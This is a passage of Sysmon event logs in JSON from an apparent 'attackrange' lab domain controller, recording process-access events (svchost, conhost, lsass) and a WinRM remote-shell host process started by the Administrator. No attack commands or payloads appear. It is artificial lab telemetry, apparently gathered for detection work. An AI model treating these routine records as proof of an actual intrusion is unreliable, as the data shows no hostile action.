C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4139-5F2D-0000-0010DA070600}\r\nTargetProcessId: 2988\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4139-5F2D-0000-0010DA070600}","TargetProcessId":"2988","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.666\r\nProcessGuid: {90617006-413A-5F2D-0000-0010550A0600}\r\nProcessId: 2804\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 